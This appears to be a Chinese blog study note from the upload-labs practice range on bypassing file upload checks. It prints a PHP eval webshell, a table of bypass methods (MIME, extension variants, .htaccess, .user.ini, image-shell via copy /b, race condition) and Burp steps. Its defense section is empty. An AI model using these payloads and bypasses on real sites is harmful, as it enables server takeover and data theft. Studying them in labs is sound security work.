Skip to content
Kurisu
Go back

文件上传漏洞

文件上传漏洞专题:前端校验绕过、服务端 MIME 绕过、图片马怎么用 copy /b 做出来、%00 截断和二次渲染——这些都是我在靶场里一遍遍试出来的结论。

核心知识点

1. 一句话木马

<?php @eval($_POST['cmd']); ?>

2. 上传靶场要点

3. 各绕过手法(upload-labs 1~17 )

校验方式绕过方法
第一前端 JS 校验(只图片格式)浏览器禁用 JS / 修改后缀 / Burp 抓改请求
第二后端 Content-Type 白名单校验Burp 抓修改 Content-Type 为 image/png
第三后缀名黑名单上传 .php3.php5 等变体,利用 Apache 解析容错机制(了 php* 通即按 PHP 解析)
第四严格后缀黑名单(禁用 php 变种)上传 .htaccess 目录级,将 .jpg 文件强制按 PHP 解析
第五严格后缀黑名单(禁用 .htaccess)上传 .user.ini 目录级 PHP ,用 auto_prepend_file 预加载图片马
大小写统一校验遗漏用大写 .PHP 绕过
第七后缀小写化 + 去空格文件名加空格如 test.php ,Windows 存储时自动去空格
去尾部点文件名加 .test.php.,Windows 解析仍当 php
第九特殊字符过滤Windows 文件流test.php::$DATAtest.php.:date
第十~十二后缀名白/黑名单双写 pphphp%00 截断(旧版本)等
第十三文件头 Magic Number 校验文件开头加 GIF89a 伪造 GIF 头,绕过简单文件头检查
第十四getimagesize() 真实图片检测需用真正的图片马(图片+代码合并)
第十五更深度图片类型检测开启 PHP exif 扩展后正常识别;需图片马
二次渲染比对原始文件与渲染后文件的二进制,把一句话木马未被修改的”稳定区域”
第十七上传后删除(存在时间差)条件竞争:并发上传+访问,在删除前执行代码

4. 图片马制作(图片 + 代码合并)

# Windows:二进制方式读取图片,文本方式追加 PHP 代码
copy 1.jpg /b + test.php /a 2.jpg

5. WebShell 管理

6. Apache/Nginx 解析特性

<FilesMatch "\.jpg$">
  SetHandler application/x-httpd-php
</FilesMatch>
auto_prepend_file = 图片马路径.jpg

访问任意 PHP 文件前自动指定图片。

7. 条件竞争

<?php file_put_contents('shell.php', '<?php phpinfo(); ?>'); ?>

8. 防御

实操步骤

# 1. 前端校验绕过:Burp 抓把扩展名 .jpg 改为 .php
# 2. MIME 绕过:修改 Content-Type: image/png
# 3. 后缀变体:test.php5 / test.php3(Apache 解析)
# 4. .htaccess 上传(见上)后上传 test.jpg 图片马
# 5. 图片马合并
copy 1.jpg /b + test.php /a 2.jpg
# 6. 条件竞争:Burp Intruder 空 5000 次并发上传+访问

常见错误与排查


Share this post:

Previous Post
XSS 跨站脚本攻击
Next Post
文件包含漏洞(LFI/RFI)